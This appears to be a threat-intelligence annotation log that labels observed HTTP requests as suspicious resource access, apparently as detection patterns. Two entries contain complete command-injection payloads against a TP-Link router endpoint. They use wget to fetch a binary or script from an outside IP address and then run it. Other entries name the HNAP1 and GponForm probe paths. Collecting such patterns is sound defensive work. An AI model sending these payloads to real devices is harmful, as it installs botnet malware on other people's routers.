May 12, 2024, 5:03 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://94.156.8.145/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`))
Pattern: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://94.156.8.145/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`)

May 11, 2024, 10:33 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/HNAP1/)
Pattern: /HNAP1/

May 11, 2024, 6:47 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+test.sh;+wget+http://94.156.8.95/test.sh;+chmod+777+test.sh;+sh+test.sh+tplink;+rm+-rf+test.sh`))
Pattern: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+test.sh;+wget+http://94.156.8.95/test.sh;+chmod+777+test.sh;+sh+test.sh+tplink;+rm+-rf+test.sh`)

May 2, 2024, 8:12 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/GponForm/diag_Form?style/)
Pattern: /GponForm/diag_Form?style/